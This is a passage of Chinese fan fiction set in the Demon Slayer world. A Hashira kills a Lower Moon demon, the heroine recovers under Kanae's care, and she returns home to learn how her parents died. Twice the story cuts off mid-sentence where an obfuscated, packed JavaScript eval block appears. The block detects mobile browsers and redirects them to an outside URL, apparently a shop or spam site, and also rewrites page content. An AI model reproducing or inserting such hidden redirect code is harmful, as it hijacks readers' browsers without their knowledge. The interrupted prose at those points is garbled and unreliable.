就在这时,一道身影挡在了最前面,义勇双手握刀,刀尖点地,闭上了眼睛。 莲月冷笑一声:“找死。” 下一刻,义勇睁开了眼,刀刃划出一道圆弧,水之呼吸的气息在他身前凝成一道看不见的屏障,柔和却坚韧:“水之呼吸——十一之型·凪。” 那些袭来的利刃撞在上面,纷纷偏移、消散,没能越过屏障半步。 莲月的笑容僵在了脸上。 义勇的刀势只维持了一瞬,肌肉深处就传来剧烈的酸痛,像是每一根纤维都被撕裂又重新绷紧,他单膝跪地,大口喘着气,握刀的手止不住地颤抖。 那招式在他脑海里浮现过无数次,却从来没有真正使出来过,这是第一次,他甚至不知道那招叫什么,刚才那一瞬间,他脑子里只有一个念头:挡下来,必须挡下来。 音叶愣住了,莲月也愣住了。 “你……”他盯着义勇,眼底第一次浮现出真正的不解,“那是什么?” 义勇没有回答,他用刀尖撑着地,想要站起来,手臂的肌肉却不受控制地痉挛。那一招几乎抽干了他所有的力气,短时间内根本不可能再用第二次。可他还是抬着头,死死盯着莲月。 莲月看着眼前的三个人,明明能力还是那么弱小,却像接二连三地接下来他的血鬼术,他的骄傲一点点崩碎,怒火却烧得越来越旺。 他举起了折扇。 25. 月下戏院(四) 莲月举起折扇,准备凝聚最后一招血鬼术,将这三个不知天高地厚的家伙彻底碾碎。 头顶突然传来一阵巨响,一道魁梧的身影,径直从屋顶的破洞里纵身跃下。 月光被这道身影骤然遮挡,戏院瞬间暗了一瞬,紧接着一声震耳欲聋的闷响。 舞台中央的厚实木地板被硬生生砸出一个半尺深的土坑,木屑飞溅,尘土扬起,裹挟着一股凌厉又华丽的气势,席卷了整个戏台。 所有人的目光都被这道突如其来的身影吸引。 坑里站着一个男人,虬结的肌肉将鬼杀队标准队服撑得紧绷绷的,线条极具爆发力。头上绑着缀满宝石的发带,脸上绘着红白相间的华丽战妆。 他微微低头,瞥了一眼脚边刚刚莲月站立的位置,那里只剩下几缕正在随风消散的鬼气灰烬。 男人挑了挑染着红妆的眉,声音洪亮如钟,带着几分漫不经心的华丽,震得人耳膜嗡嗡作响:“嗯?下弦之二?” 这一声,轻飘飘落在莲月耳中,却像一块千斤巨石砸在他心上。 莲月的身体瞬间僵住,下意识后退两步,死死盯着这个突然降临的男人。方才对着音叶三人的滔天怒火还凝在眼底,可此刻,愤怒之上又迅速覆上了一层浓重的警惕,甚至藏着一丝连他自己都不愿承认的恐惧。 活了百年,身为十二鬼月的下弦二,他太清楚这种气息了。 “你是……”莲月的声音忍不住发颤,话刚出口,就被自己的慌乱打断。 男人根本没理会他的质问,目光随意一扫,掠过舞台的三个角落,精准落在血泊里的三个少年少女身上。看着他们遍体鳞伤、连站立都艰难的模样,他嘴角勾起一抹玩味的笑,语气依旧洪亮:“哟,三个小鬼,打得挺惨啊,浑身是血,够拼命但不够华丽。” 音叶撑着日轮刀的手微微一颤,她从未见过这个男人,却在看清他装扮的瞬间,心脏狠狠一缩。 他是柱,是站在所有队员顶端,实力深不可测的柱。 莲月的脸瞬间扭曲得狰狞,他已经被三个小鬼逼到绝境,身上伤痕累累,恢复力都被耗得迟缓,如今竟然又天降一个柱。 胜负的天平,在这一刻被彻底碾碎,连一丝翻盘的可能都没有了。 “你……!” 莲月歇斯底里地嘶吼,不敢有半分犹豫,折扇猛地一挥,将血鬼术·幻幕催动到极致。 他要赌一把,趁这个柱还未站稳脚跟,立刻将对方拖入自己的幻术舞台,抢占先机。 刹那间,整个戏院再次开始疯狂扭曲,墙壁如融化的蜡脂般流淌,地板翻涌如浪,无数虚幻的戏幕从四面八方围拢而来,要将所有人的五感彻底困死。 可这铺天盖地的扭曲,只维持了一瞬,就戛然而止。宇髄天元只是随手一挥,动作轻得像赶开一只烦人的苍蝇。 那笼罩整个舞台、音叶三人无力挣脱的诡异幻术,在他手下如同一块破旧的粗布,被轻易撕开扯碎,消散在空气里,连一丝抵抗的余地都没有。 莲月的瞳孔骤然瞪到极致,眼底写满了不可置信:“什么……?!” 他不敢相信自己的血鬼术,竟然被如此轻描淡写地破解。 恐惧彻底淹没了理智,莲月双手疯狂结印,折扇啪地一声狠狠合起,倾尽全身鬼力,发动了绝杀招式——血鬼术·幕落。 绝对的黑暗瞬间降临,没有一丝光亮,没有一丝声音。看不见、听不见、摸不到,连自己的身体都感觉不到,五感被彻底剥夺,陷入无边无际的死寂深渊,这是能困死任何鬼杀队员的终极幻术。 莲月躲在黑暗里,死死攥着折扇,以为终于能困住这个突如其来的柱。 可下一秒,黑暗中传来一声带着十足不屑的轻笑,像一把尖刀,直接刺破了这层绝对黑暗。 紧接着是一声沉闷的巨响,像是某种坚硬的东西,被狠狠砸进厚实木板里的声音,震得整个戏台都微微发颤。 黑暗如同潮水般飞速退去,月光重新倾泻而下,照亮了戏台中央的景象。莲月趴在地上,准确来说,是被死死按着。 宇髄天元一只手稳稳按着他的后脑勺,将他整张脸都砸进了舞台的木板里,木屑嵌进皮肤,鬼的身躯剧烈抽搐着,四肢胡乱蹬踹,却连一丝动弹的力气都没有,像一只被踩住七寸的虫子,卑微又无力。 宇髄天元垂眸看着他,眼神里没有半分波澜,只有居高临下的漠然,语气华丽又张扬:“华丽的登场时间到了,该谢幕了。” 另一只手缓缓抬起,握住腰间的日轮刀,轻轻一拔,刀光一闪。莲月的头颅瞬间飞起,在空中打着旋儿转了两圈,落在冰冷的地板上。 他的身躯开始快速崩解,化作灰色的灰烬,在月光下随风飘散,连一点痕迹都留不下。 唯有那颗滚落的头颅,双眼还死死睁着,瞳孔里依旧刻着下弦贰三个狰狞的字,最后一刻,眼底只剩下深深的困惑与不甘。 宇髄天元收刀入鞘,动作流畅华丽,没有半分拖沓,仿佛刚才斩杀的不是十二鬼月的下弦二,只是斩落了一片无关紧要的落叶。 他转过身,迈着沉稳的步伐,一步步走向舞台倒在血泊里的三个孩子。 戏院彻底安静了,只剩下三人微弱的呼吸声。 宇髄天元先走到锖兔身边,少年趴在斑驳的墙边,他把脸埋在胳膊里,一动不动,唯有胸口还在微弱地起伏,撑着最后一口气。 宇髄天元蹲下身子,伸手轻轻扒开他后背破碎的衣服,扫了一眼伤口,语气像在点评一件华丽的器物,平淡又直白:“嗯,后背伤得最重,骨裂加皮肉外翻,惨是惨了点,但死不了。鬼杀队的特效药膏敷上,安分养两个月,就能活蹦乱跳了。” 他站起身,没再多看,径直走到义勇身边,蹲下轻轻拉开他捂在伤口上的手,看了一眼腹部那道贯穿性的刀伤。 顿了顿,语气里多了一丝淡淡的点评:“腹部这一刀,再深一寸,就会伤及内脏,就算是柱来了,也救不回来,算你命大。” 义勇没有说话,只是沉默地看着他,海蓝色的眼眸里,藏着无人能懂的执拗。 宇髄天元站起身,最后走到音叶面前。 少女单膝跪在血泊里,日轮刀深深插进地板,成了她唯一的支撑。小腿那道深可见骨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375046|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤口已经止不住血了,身下的血摊越扩越大,染红了大片木板。 她缓缓抬起头,仰望着眼前这个身高九尺、华丽如神祗的男人,她脸色苍白,嘴唇干裂,却依旧挺直了脊梁,眼神没有半分涣散。 “小姑娘,”宇髄天元低头看着她,洪亮的声音放轻了几分,“你是己级?” 音叶轻轻点头。 宇髄天元盯着她看了整整两秒,带着几分意外,几分真切的欣赏,华丽的眉眼弯起,连脸上的战妆都柔和了几分。 “不错,一个己级,带着两个庚级的小鬼,能把下弦之二逼到那般境地,还让他浑身挂彩。你们三个,比我想象中要能干得多。” 音叶依旧没有说话,只是默默握着刀,指尖因为用力而泛白。 宇髄天元站直身体,居高临下地看着眼前三个遍体鳞伤的少年。 “但是,” 他突然开口,声音不高,却字字清晰,像重锤一样,狠狠砸进三个少年的心里:“还差得远呢。” 宇髄天元的眼神扫过三人,带着几分玩味,又带着几分直白的告诫:“柱和你们的距离,就是刚才那样的距离。” 他抬起脚,轻轻点了点脚边那堆还在缓缓飘散的灰色灰烬,那是下弦二莲月最后的痕迹。 “你们拼尽全力,流干鲜血,豁出性命都杀不掉的鬼,我随手一挥,就捏死了,明白吗?” 三个人都没有说话。 音叶握着刀的手微微颤抖,不是因为疼,是因为心底翻涌的无力感,像潮水一样将她淹没。 她想起刚才的死战,她用霖之呼吸拼尽所有,斩穿莲月的腹部,锖兔和义勇拖着贯穿伤,一次次挥刀。但也只是让下弦二挂了彩,连他的性命都碰不到。 而柱来了——一刀结束了所有战斗。 一道深不见底,遥不可及的差距,宇髄天元收回目光,不再多言,转身朝着戏院门口走去。华丽的身影在月光下越走越远,自带一股独有的张扬气场。 走了几步,他突然停下脚步,头也不回,洪亮的声音飘了回来:“隐的人马上就到,会给你们处理伤口。” 顿了顿,他丢下最后一句话,简洁又有力:“别死啊,小家伙们。” 话音落,他的身影彻底走进戏院外的沉沉夜色里,脚步声越来越远,最后彻底消失在寂静中。 戏院重新恢复了死寂。 音叶缓缓抬起头,看着天花板上那个破洞。宇髄天元就是从那里跳下来的,带着耀眼的华光,轻易碾碎了他们拼尽全力都无法战胜的敌人。 “锖兔。”音叶轻声开口,声音沙哑干涩,带着一丝不易察觉的苦涩。 “义勇。” 音叶看着头顶的月光,突然轻轻笑了一下,裹着满身的疲惫与无力,还有一丝清醒的苦涩。 “我们……”她顿了顿,喉咙发紧,好不容易才把话说完,“真的还差得远呢。” 远处,渐渐传来密集的脚步声,还有细碎的说话声。是隐的队员们赶来了,他们会处理战场,会为三人包扎伤口,带他们离开这座破败的戏院。 音叶缓缓闭上眼睛。 26. 主公大人 阳光从窗帘的缝隙里斜斜漏进来,落在被褥上。 音叶睁开眼睛时最先感觉到疼痛,她想动一下身体,才发现身上被绷带裹得严严实实,完全不能动弹,就连手也没能避免,只能微微弯曲手指。 她闭上眼睛,记忆慢慢浮现:戏院、舞台,还有那个高大的身影,最后的印象是听见有人在喊她的名字。 “醒了?”一个声音从旁边传来,带着笑意。 音叶转过头,床边坐着一个与她年纪相仿的女孩子。蝴蝶纹样的羽织,头发两边别着蝴蝶形状的发饰,她正歪着头看音叶,圆圆的脸上笑意盈盈,眼睛弯成两弯好看的月牙。 “你昏迷了一个月呢,”那个女孩子说着伸手去拿床头的小碗,“不过不用担心,伤口都处理好了,只是需要时间恢复。你腿上那道伤最深,可能要养久一点。” 她扶着音叶的头,把碗送到她唇边。水是温的,带着一点淡淡的甜味,音叶一点一点喝下去,感觉喉咙里那种被刀片刮过的灼痛慢慢消退。 “我叫蝴蝶香奈惠,你可以叫我香奈惠。”女孩把碗放回去,重新坐下来,“这段时间由我来照顾你,我平时没事就来蝶屋帮忙,正好可以照顾你。” 音叶看着香奈惠,她说话的时候一直在笑,眼睛眯起来,声音柔和。 “和我一起的那两个人呢?”音叶问。 “在你隔壁的房间,”香奈惠说,“伤得很重,但都活下来了,现在应该还没醒。” 音叶闭上眼睛,长长呼出一口气。 香奈惠没有再说话,只是安静地坐在旁边,把窗帘透进来的光挡掉一部分,让她的眼睛舒服一些。 过了一会儿,门被推开了。 一个人走进来,步子很轻。 音叶睁开眼睛,一位少年站在床边。他穿着白色和紫色渐变的羽织,面容清秀,眉眼温和,皮肤白得几乎透明,能看见底下细细的青色血管蜿蜒。 香奈惠已经站起来了,恭恭敬敬地行礼:“主公大人。” 音叶愣住了——他是鬼杀队的主公?产屋敷耀哉? 她想坐起来,身体却不听使唤,产屋敷伸出手,轻轻扶住她的肩膀。 “别动,”他说,声音很轻,“你伤得很重。” 音叶躺在床上,看着这个比自己大不了多少的少年。 “主公大人,抱歉。”她开口,声音有些哑,“我们输了。” 产屋敷没有说话,他在床边坐下来,那双温和的眼睛看着她,等着她说下去。 “如果没有音柱大人,我们三个都会死在那里……”音叶说,“我们拖住了他,可是杀不了他……我们根本杀不了他……” 这些话从醒来的那一刻就在心里堵着,现在说出来,她听见有什么东西裂开了一道口子。 产屋敷安静地听她说完,然后开口,声音还是那样轻:“你们三个人,己级和庚级拖住了下弦二。” 他看着音叶:“下弦是十二鬼月,是鬼舞辻无惨最得力的部下。你们在他面前撑了那么久,活下来了,这已经很好了。” 音叶张了张嘴,不知道该说什么。 产屋敷脸上浮现一点笑意:“你叫音叶,对吗?” “是。” “前任水柱鳞泷左近次的徒弟。” “是。” 产屋敷点点头,他的动作很慢,像是每一个动作都要耗费一些力气,可是那种气场很柔和:“鳞泷先生给我写过一封信,关于最终选拔的事。” 音叶怔住,那封信——参加完最终选拔后,她跟爷爷说,她觉得最终选拔那样的事不太对,会死很多人,希望鬼杀队可以做出改变。鳞泷左近次说信他会写,但不一定有用,所以她从来没有想过鬼杀队会因为她一个人的想法做出改变。 “那封信……” “我收到了,”产屋敷说,“已经在着手处理了,可能需要一些时间,但会加强安全措施的执行。” 音叶看着他,不知道该说什么。她只是鬼杀中那么多人中的一个队员,等级不高。按照她的想法,应该是信寄出去后杳无音信才对。 可是现在,主公大人亲自来告诉她已经在着手处理了,她突然觉得眼眶有些发烫。 “主公大人,”她说,声音稳了一些,“我想成为柱。” 产屋敷看着她,等着她说下去。 “我想成为柱,”她又重复了一遍,“我一定会杀掉鬼舞辻无惨,不要让他再继续迫害其他人,我也不想再让同伴挡在我前面受伤了。” 这些话从心里浮起来,但当她说出来之后,她觉得心底飘起来的大石头终于落地了。 产屋敷点头:“你会成为柱的。” 音叶看着他,那双温和的眼睛里没有一丝敷衍,像是在说一件已经确定的事。 “我见过很多剑士,”产屋敷说,“你有坚定的意志,无论如何都不会倒下的意志。” 他站起来,动作很慢,走到门口时他停下来,对音叶说:“你的两个朋友,有一个中途醒了一次,他问的第一句话是音叶呢。” 门关上了,屋里安静下来,阳光从窗纸透进来,落在音叶身上。 香奈惠走过来,在她旁边坐下:“主公大人很看重你们。” 音叶闭上眼睛,嘴角慢慢弯起来。 之后的半个月,香奈惠每隔一两天就会来。 有时候是早晨,她推开门,端着一盆温水,把毛巾拧干递给音叶。但更多时候是傍晚,匆匆忙忙跑进来,羽织上还沾着血迹,脸上还带着未散的杀意。她会先在门口站一会儿,等呼吸平稳了,才走到音叶床边坐下。 “今天有任务?”音叶问。 “嗯,”香奈惠说,低头整理自己的衣襟,“西边的村子里,一只会血鬼术的鬼,不难。” 音叶看着她。香奈惠的手指很稳,把羽织上的褶皱抚平,把沾血的地方折进去。做完这些,她抬起头,脸上已经恢复平日的笑意。 “伤口换药了吗?”她问。 “早上自己换了。” 香奈惠点点头,把音叶的被子掀开一角,看了看她腿上缠着的绷带。她看得很仔细,从脚踝看到膝盖,又轻轻按了按几处地方。 “你恢复得很快,”她说,“再过半个月,应该能试着下床了。” 音叶看着她,香奈惠坐在窗边,这个使用花之呼吸的少女就像花儿一样灿烂,阳光落在她身上,把她整个人照得暖暖的。可是她羽织的袖口有一道裂口,像是被什么东西撕开的。 “今天遇到麻烦了?”音叶问。 香奈惠低头看了看自己的袖口,笑起来:“被树枝刮破了,追的那只鬼躲进林子里,我没能注意到。” “你撒谎了。” 香奈惠愣了一下,然后笑得更深了:“你怎么知道?” “树枝刮的不会是那个样子。” 香奈惠低头又看了看袖口,没有再辩解。她把那只袖子折进去,让裂口看不见,然后抬起头,看着音叶。 “是那只鬼抓的,”她说,“不过没事,我躲得快,只撕破了衣服。” 音叶点点头,没有再问。 窗外有鸟叫声传进来,香奈惠转过头,看着窗外。阳光落在她的侧脸上,把她的轮廓勾成金色。 音叶看着她,突然想起刚才她站在门口的样子。羽织上沾着血,呼吸还没有平复,可是看见音叶醒着,她还是笑了一下。 “香奈惠。”音叶说。 “嗯?” “你家里还有个妹妹?” 香奈惠转过头,眼睛亮了亮:“你怎么知道?” “你上次说过,蝴蝶忍。” “对,”香奈惠说,提到妹妹时她的语气明显更活泼了,“比我小一些,很聪明,就是太要强了。”她说到这里,脸上的笑意淡了一些,“她最近有些沮丧。” “她力气太小了,没有办法是用花之呼吸砍掉鬼的头颅,”香奈惠说,“她感觉自己没法掌握花之呼吸的精髓,怎么练都练不好,她很着急,每天都练,可是越急越练不好。” 音叶没有说话。 “她也很擅长药理,最近在做什么研究,”香奈惠说,“把自己关在房间里,不知道在弄什么。我问她,她说她会研究出一种不用砍头也能杀掉鬼的新方法。” “不用砍头也能杀掉鬼?” “嗯。”香奈惠点点头,眼睛里有一点复杂的情绪,“她说既然力气小没法砍掉头,那就从别的地方找办法,我不知道该说什么,她才十一岁。” 阳光落在香奈惠的脸上,把她的表情照得很清楚,她在说这些话的时候,脸上满满都是对妹妹的骄傲。 “她会成功的。”音叶说。 香奈惠愣了一下,有些疑惑。 “像这种要强的人,”音叶说,“一般都会成功的。” 香奈惠看了她一会儿,然后笑起来,眼睛弯弯的,整个人都柔软下来。 “谢谢。”她说。 那天傍晚,香奈惠走之前,从怀里掏出一个小纸包,放在音叶枕边。 “这是什么?” “紫藤花包,”香奈惠说,“忍最近做研究时顺手做的。” 音叶把花包放在鼻子前嗅了一下,淡淡的紫藤花香,好闻但不刺鼻。 “好香喔。”她说。 香奈惠笑起来:“那就好,这个花包可以送给救下来的那些人,鬼很讨厌这个味道。” 她站起来,理了理羽织,夕阳从窗户照进来,落在她身上。 “我要走了,”她说,“明天还有任务,到时候可能来不了了。” 音叶点点头。 “好好养伤。”她说。 之后的半个月,香奈惠确实没有每天都来,更多的是蝶屋的小姑娘们在照顾她,音叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375047|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性格好,很快就跟小姑娘们打成一片。蝶屋的小姑娘们会经常给她送些小点心来。 香奈惠的等级比音叶高,现在已经是丁级了,所以任务比较多,总是隔几天才回来,来的时候还大多都带着伤。 “任务。”她每次都这么说。 然后她会坐下来,问音叶伤口的情况,帮她换药,陪她说一会儿话。走的时候,她会留下一点东西从任务时顺手买的几颗糖和点心,或者是买来的一小束花,被她插在床前的花瓶里。 “你不用带这些。”音叶说。 “没事。” 音叶看着床头那枝花,淡粉色的花瓣,很小,凑近了能闻到一点点香味。 “这是什么花?” “不知道,”香奈惠说,“路上看见的,觉得好看就买来了。” 说这话的时候香奈惠正在整理床头的药瓶,把用过的收起来,把新的摆好。 “香奈惠。”音叶说。 “嗯?” “你妹妹那个新的灭鬼方法,想出来了吗?” 香奈惠手上的动作停了一下,她抬起头,看着音叶,脸上浮现一点笑意。 “还在想,”香奈惠点点头,“前段时间看了好多医学相关的书,还做了一些研究,说有进展了。忍在说这话的时候眼神很亮,我猜应该很快就会成功了,” 她顿了顿:“很久没见过她眼睛那么亮了。” 音叶点头,她觉得如果真菰在的话,应该会和香奈惠很合得来。 “香奈惠。”她又说。 “嗯?” “你以后想做什么?” 香奈惠沉默了一会儿,开口说:“我想成为柱。” “我想成为花柱,”香奈惠说,声音里有一点认真,“成为鬼杀队顶天立地的存在,去保护他们……等到把鬼全部消灭,我就开一家小店,门口挂一个蝴蝶的招牌,卖各种各样的东西。”她说到这里,脸上浮现一点笑意,“你到时候来,我请你吃点心。” 音叶点点头:“好。” 一个月后,音叶能下床走动了。 她扶着墙,一步一步挪到隔壁房间,左腿还有些使不上力,走得很慢。推开门,看见两张并排的床。 锖兔靠在床头,脸色还有些白,但眼睛是睁着的,正看着门口,义勇躺在另一张床上,闭着眼睛,呼吸很轻很浅。 锖兔看见她,脸上绽开一个笑容:“终于舍得醒了?” 音叶慢慢挪到他床边,在床沿边上坐下来:“你怎么样了?” “没多大事,”锖兔说,低头看了看自己缠满绷带的胸口,“肋骨断了几根,不过已经接上了,再过几天就能下床。”他上下打量了她一眼,“瘦了。” 音叶低头看看自己,又抬头看他:“你也是。” 锖兔摸了摸自己的脸,然后笑了。 那边床上的人动了一下,睁开眼睛。那双海蓝色的眼睛先落在天花板上,然后慢慢转过来,先看见锖兔,然后顺着锖兔的目光看见音叶。 他什么也没说,就静静地看着音叶,久到音叶都有些不自在了,他才把目光收回去,落在自己缠满绷带的腹部。 锖兔在旁边看着这一幕,嘴角动了动,最后还是说了出来,声音压得很低:“他醒来第一件事就是问你在哪儿,那时候他刚醒,话都说不清楚,翻来覆去就这几句话。” 义勇没有说话,只是盯着自己的腹部,那道疤从胸口下面一直延伸到腰侧,趴在皮肤上。他的手轻轻按在那道疤上。 “还疼吗?”音叶问。 义勇抬起头,看着她:“不疼。” “你骗人。” 义勇的嘴角动了动,像是想笑没有笑出来:“是有一点。” 窗外的阳光很好,落在院子里那棵刚抽出新芽的树上。 “我见过主公大人了。”她说。 锖兔一怔:“主公大人?” “嗯,”音叶说,“他前段时间来过了,你们那时还没醒。他说我们做得很好,三个人拖住了下弦二那么久。” 锖兔沉默了一会儿:“他还说什么了?” “他说最终选拔的安全措施已经在着手处理了,”音叶说,“我让爷爷写的那封信,他收到了。” 锖兔看着她,眼神里毫不意外。 “我就知道你会提出来的。” “还有一件事,”音叶说,“我想成为柱。” 锖兔看着她,她坐在床边,腿因为不受力轻轻翘起,左边的小腿缠着一大圈绷带。 “主公说我一定会成为柱的,”音叶说,“我也觉得自己可以。” 锖兔露出笑容:“行啊,我们一起!” 音叶故意逗他:“能做到吗?” “废话,”锖兔果然被激到了,“你能成柱,我就不能?” 义勇在旁边凑热闹不嫌事大:“那我也要一起。” 27. 再回狭雾山 离开蝶屋的那天早上,香奈惠难得也在,站在门口送他们。 初冬的阳光落下来,把她那件蝴蝶纹样的羽织照得透亮,衣摆上的蝴蝶仿佛随时会振翅飞起,她手里拿着三个小布包,一个一个递过去。 “这是给你的,”她先递给锖兔,“外用的,早晚各一次,一定要按时涂抹,不然身体是好不了的。” 锖兔接过来,在手里掂了掂,布袋沉甸甸的,装满了碾碎的药材。 “这么多?” “嫌多就早点用完呀。”香奈惠唇边漾开一抹笑意,转过身子,视线落在义勇身上。 义勇站在旁边,腹部还缠着厚厚的布条,和服的腰带系得比平时松些。他接过布袋,低头看着,没有出声。 “你受的伤是最严重的,”香奈惠的声音放轻了些,“药膏每天都要涂,疤会淡一点。还有,最好一个月之内别再受重伤了,你的身体承受不住。” 义勇点了点头,把布袋收进怀里。 香奈惠最后走到音叶面前,眉眼弯着,顺手捋了音叶竖起来的呆毛,把装着药的布袋递给她:“这是给你的。” 音叶接过来,指尖触到布袋上细密的针脚。 “我已经恢复得差不多了。” “我知道的,”香奈惠说,眼睛弯了弯,“这是给你让他们用的。” “那两个人,一个嫌抹药太麻烦,另一个又总是不说话,我实在不太放心。” 音叶的脸上出现了一瞬间的空白。 香奈惠笑着拍拍她的手,脸上露出了狡黠的神情,身上还有蝶屋里常有的药草气息。 “但是我觉得他们应该都会听你的。” 简单同香奈惠告别后,三个人俩开蝶屋。 在蝶屋待了两个多月,一转眼街边的银杏已经落尽了叶子,金灿灿地铺了一地。三个人并肩而行,时不时地打闹,影子并排躺在落叶上。 …… 不同于鬼杀队其他队员,音叶对悠子是放养模式,白天可以随意出去,只要不影响任务、并且晚上按时回来就行。 一个清晨,浑身黑羽的鎹鸦在音叶头顶上空盘旋,嘴里喊着:“音叶、音叶,新任务、新任务——” 悠子落在她肩上,翅膀还没收拢就开始嚷嚷,惊飞了院墙上打盹的两只麻雀。 “南南西——南南西——狭雾山附近的小镇——” 音叶正蹲在井边洗脸,水珠顺着脸颊往下滴。她抬起头,看着悠子:“狭雾山?” “狭雾山!狭雾山!”悠子在她肩上蹦了两下,“是音叶的家乡!悠子还从来没有去过音叶的家乡呢……” 音叶的动作停了一瞬,心想着这样也好,可以顺便回去看看爷爷。 随着等级越升越高,音叶身上的重担也越来越重,从入队到现在,竟然一次都没回过狭雾山。一直以来,都是和爷爷写信联系。 爷爷的回信总是很短,字迹还是那样刚劲,说一切都好、不用挂念。可写信与见面自然是不一样的,音叶不知道爷爷过得怎么样。 “知道了。” 她站起来,把毛巾搭在架子上。 锖兔从屋里探出头,头发乱蓬蓬的,显然是刚醒:“新任务吗?” “嗯,狭雾山附近的小镇,可以顺便回去看爷爷一趟。” 锖兔揉着眼睛,打了一个哈欠:“多久回来?” “我也不太清楚,做完任务去找爷爷一趟,有情况会让悠子来报信的。” 锖兔没再说什么,缩回屋里。片刻后,屋里传来他穿衣服的窸窣声。 音叶收拾好东西,把刀挂在腰间,走到院门口。 任务很顺利,那个鬼刚变成鬼不久,躲在村子后面的山洞里,夜里出来偷鸡吃,偶尔也会袭击晚归的行人。 音叶在村外待了两天,找了一家客栈住宿,等待月亮彻底升起,看着恶鬼从山洞里出来,没有让他再去骚扰村子里的村民,直接一刀毙命。 一刀解决,也不知道是这只鬼太弱还是自己变得更强了。 音叶站在山洞外面,看着恶鬼的身体化为灰烬,又抬头观察了一下天空。东边的山脊上已经泛起了鱼肚白,几颗残星还挂在天边,是个晴天。 从这里走到狭雾山,大概傍晚就能到。 音叶决定回去看看,这是她第一次与爷爷分开这么久,有些想念他。 落叶铺了厚厚一层,踩上去会发出沙沙响的声音,在山林间传得很远。悠子在她头顶飞来飞去,一会儿落在树枝上,一会儿又追上来。 “音叶!音叶!这就是你家吗?嘎——好高!好多树!你们以前就住在这里吗?” 音叶耐心地回答她,这只小鎹鸦显然对主人长大的地方很好奇,时不时就会蹦出来一些古灵精怪的问题。 随着雾气越来越深,眼前的景象也变得愈发熟悉,这是都是她从小看到大的植物。如今只是半年没回,就已经有了一丝淡淡的陌生感。 ——直到她看见了鳞泷小屋。 小屋与记忆中的模样没有差别,木头搭的,门口的注连绳换了新的。烟囱里冒着细细的烟,袅袅地升上去,融进灰白的天空,院子里那根躺倒的木头还在那儿,上面落了一层薄薄的露珠。 鳞泷左近次站在院子里,似乎早就猜到了音叶回来。他站在那里,穿着那件洗得发白的蓝色海浪样式的和服,背脊还是那样挺直。 面具已经摘下来了,看到音叶时露出温柔的笑。不知道是不是音叶的错觉,自从她们顺利进入鬼杀队后,爷爷看起来反而比从前更柔和了。 鳞泷左近次就那样看着她一步一步走近,看着雾气在她身后合拢。 音叶走到他面前,站定:“爷爷。” “回来了。” 音叶点点头,鳞泷左近次没再说话,只是点点头,注视了音叶好一会儿,然后转身往屋里走:“进来吃饭。” 晚饭是音叶最爱吃的寿喜烧。 牛肉、豆腐、茼蒿、魔芋丝,还有一锅白米饭。锅在炉子上咕嘟咕嘟地冒着热气,香味飘满了整间屋子,音叶盘腿坐在炉边,用筷子夹起一片牛肉,蘸了生蛋液送进嘴里。 鳞泷左近次坐在旁边,慢慢喝着茶,偶尔夹一筷子菜。 音叶没有讲遇到下弦二的事,爷爷也没有问,但是她觉得爷爷已经知道了这件事。 饱餐一顿后,音叶帮着收拾碗筷,把锅碗端到水井边,打了水来洗。冬天的井水冰凉刺骨,但她日子过得糙,早就习惯了。 然后她坐在廊下,看着院子里的风景。 暮色一层一层地沉下来,先是天边的云从橘红变成暗紫,然后是山影渐渐模糊,最后是雾气从山谷里漫上来,把一切都罩进灰蒙蒙的颜色里。 鳞泷走出来,在她旁边坐下。两个人坐着,音叶把头靠在爷爷的身上,她已经比小时候长大很多了,脑袋可以靠上左近次的肩膀了。 月亮升起来了。又大又圆,清辉洒了一地,把院子里那根木头照得发白。 音叶开口:“爷爷。” “嗯。” “我想成为柱。” 鳞泷没有说话。 “主公大人在我卧床的时候来看过我,”音叶说,声音很稳,“他说我会成为柱,我也觉得自己可以。” 鳞泷转过头,看着她。音叶已经过了十三岁生日了,再过半年就要十四岁了。少女的脸庞已经张开了,眉眼弯着,脸型流畅,眼角下的痣几乎与她的母亲一模一样。 “你母亲也说过这样的话。” 音叶的呼吸停了一瞬。 鳞泷左近次转过头,看着院子里的月光。 “她走的时候,你才一岁多。她把你交给我,跟你说,妈妈要去杀鬼了,等妈妈成为柱,就回来接你。” 音叶张了张嘴,喉咙里像堵了什么东西:“她没能回来?” “她遇到上弦了。” 音叶的手攥紧了,指甲掐进掌心。 “和你父亲一起。” 音叶看向他:“爸爸不是鬼杀队的医生吗?不用出任务啊。” 鳞泷点了点头,似乎很难开口说话。 “他不用出任务,”他说,声音很平,“但是听到你母亲的死讯时,他执意要去找你母亲,谁也拦不住他。” 音叶没有说话。 “他去找她,”鳞泷说,“没能找到你母亲的身影,他就……” 他没有说下去。 月光落在院子里,落在那根躺倒的木头上。小时候她经常趴在那根木头上晒太阳,锖兔在旁边劈柴,义勇蹲在一边看蚂蚁搬家。 音叶低着头,看着自己的手。月光落在手上,把那道疤照得发白。那是和莲月那一战留下的,当时不觉得疼,现在看着,却好像能想起那种刀刃划过皮肤的感觉。 “爸爸是一个什么样的人?” 鳞泷想了想。 “话特别多,”他说,嘴角微微动了动,“很爱笑,油嘴滑舌的,你妈妈总是嫌弃他,但是他不在的时候,你妈妈又事事都想着他。” “妈妈嫌爸爸烦?” “对,”鳞泷的嘴角那个弧度更深了一点,像是想起了什么久远的事,“两个欢喜冤家。” 月光落在院子里,落在两个人身上。 “我会报仇的。”音叶说。 鳞泷转过头,看着她。 